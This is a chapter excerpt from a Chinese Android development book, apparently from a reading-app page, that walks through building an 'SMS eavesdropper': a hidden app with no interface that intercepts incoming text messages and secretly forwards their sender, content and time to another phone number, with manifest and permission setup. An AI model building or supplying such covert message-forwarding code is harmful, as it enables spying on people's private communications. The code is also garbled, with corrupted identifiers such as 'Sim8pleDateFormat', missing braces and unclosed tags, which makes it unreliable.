Android商业软件开发全程实战
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.2 短信窃听器

小安:那服务中的代码具体怎么实现呢?

大致:不要着急,慢慢来。下面先讲短信窃听器和电话窃听器的实现方法。

1.2.1 短信窃听器介绍

当Android系统收到短信时,系统会发出一个广播Intent,该Intent中的action的名称为android.provider.Telephony.SMS_RECEIVED,该Intent中存放了系统收到的短信的相关信息和内容,我们使用名称为“pdus”的键即可从该Intent中获取到短信的内容。根据这一原理,即可用自己开发的短信监听器监听手机的短信并进行相关处理。

1.2.2 短信窃听器的运行流程

短信窃听器运行流程如下:

  • 第一步,把短信窃听器注册到Android系统;
  • 第二步,当短信到来的时候,系统发出短信到来广播;
  • 第三步,系统激活短信接收器,监听器对短信进行相关处理;
  • 第四步,短信接收器生命周期结束;
  • 第五步,重复第一步到第四步。

1.2.3 短信窃听器的实现

第一步:在Eclipse中建立一个短信窃听器工程,如下图所示。

说明:

(1)建立的工程名称为HelloSMSListener。

(2)选择的编译平台为Android 2.2。

(3)应用的名称为HelloSMSListener。

(4)程序的包名为com.wangjialin.smslistener。

(5)因为不需要界面,所以此处没有建立Activity,即Create Activity 这个复选框前面默认的对勾去掉。

(6)程序可以运行的最低版本为8。

(7)单击最下方的“Finish”选项完成工程的创建。

第二步:创建一个广播接收者,用于接收系统所发出短信到来的广播。

在建立好的工程的包名com.wangjialin.smslistener单击右键新建一个Class,如下图所示。

说明:

(1)这个广播接收者的类名为SMSReceiver。

(2)此处的广播接收者的Superclass 为android.content.BroadcastReceiver;用于继承系统广播接收器的默认实现,并达到控制代码编写者编写广播接收器的目的。

(3)单击“Finish”完成广播代码接收器的创建,其在文件夹中的位置如左图所示。

(4)具体的默认广播接收器的实现如下所示。

package com.wangjialin.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class SMSReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
    }
}

第三步:注册广播接收器。广播接收既可以在代码中注册又可以在配置文件中注册,因为广播接收器要独立地随时准备接收短信到来事件,所以要在配置文件中注册,打开工程的AndroidManifest.xml文件,配置内容如下所示。

<?xml version="1.0"encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
     package="com.wangjialin.smslistener"
     android:versionCode="1"
     android:versionName="1.0">
  <uses-sdk android:minSdkVersion="8"/>
  <application android:icon="@drawable/icon"android:label="@string/
                 app_name">
       <receiver android:name=".SMSReceiver">
       <intent-filter>
           <action android:name="android.provider.Telephony.SMS_
                        RECEIVED"/>
       <intent-filter>
    </receiver>
  </application>
</manifest>

说明:

(1)“.SMSReceiver”表明短信接收器位于应用程序的包下。

(2)因为要接收系统发出的短信事件,所以需要在短信接收器的“intent-filter”属性中配置action的名称为“android.provider.Telephony.SMS_RECEIVED”。

第四步:实现短信接收器。

public class SMSReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        //获取短信实体数组
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");
        //迭代短信实体数组
        for(Object pdu : pdus)
            //使用pdu格式的字节数组生成短信对象,以便于用短信对象取得短信的各个组成部分
            SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
            //获得短信的发送者
            String sender = message.getOriginatingAddress();
            //获得短信的内容
            String content = message.getMessageBody();
            //获得短信的发送时间
            Date date = new Date(message.getTim8estampMillis());
            //发送时间的格式化模式
            Sim8pleDateFormat dateFormat = new Sim8pleDateFormat("yyyy-MM-dd
            HH:mm:ss");
            //进行日期的格式化
            Sim8ple tim8e = dateFormat.format(date);
            //对短信进行处理
            sendSMS(sender,content,tim8e);
    }
}

说明:

“sendSMS(sender, content, tim8e)”是获取短信后对短信的具体处理。

第五步:处理收到的短信,即“sendSMS(sender, content, tim8e)”的实现代码如下所示。

private void sendSMS(String sender,String content,String tim8e){
    //如果短信是号码为"5556"发送过来的,则要把短信转发到号码为"5558"的手机上
    if"5556".equals(sender)){
        //获取默认的短信管理器
        SmsManager manager = SmsManager.getDefault();
        //如果短信内容大于一条短信的最大容量,分割短信
        ArrayList<String> texts = manager.divideMessage(content);
        //迭代发送过来的短信
        for(String text:texts){
            //把发送过来的短信转发到号码为"5558"的手机上
            manager.sendTextMessage("5558",null,"tim8e = " + tim8e
                    +text,null,null);
        }
}

说明:

(1)此处使用的是模拟器测试。

(2)当短信发送者的号码是“5556”的时候,此时把短信的内容和发送时间转发到号码为“5558”的模拟器上,以完成窃听的目的。

第六步:配置短信窃听器需要的权限。

<?xml version="1.0"encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
     package="com.wangjialin.smslistener"
     android:versionCode="1"
     android:versionName="1.0">
   <uses-sdk android:minSdkVersion="8"/>
   <application android:icon="@drawable/icon"android:label="@string/
                            app_name">
        <receiver android:name=".SMSReceiver">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_
                                    RECEIVED"/>
            <intent-filter>
        </receiver>
    </application>
    <!--接收短信权限-->
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <!--发送短信权限-->
    <uses-permission android:name="android.permission.SEND_SMS"/>
</manifest>

说明:

(1) 因为需要接收短信的权限,所以需要申请“android.permission.RECEIVE_SMS”权限。

(2)因为需要发送短信的权限,所以需要申请“android.permission.SEND_SMS”权限。

第七步:安装应用到模拟器上,笔者在此处是把应用安装在“5554”这个模拟器上,如下图所示。

安装成功,如下图所示。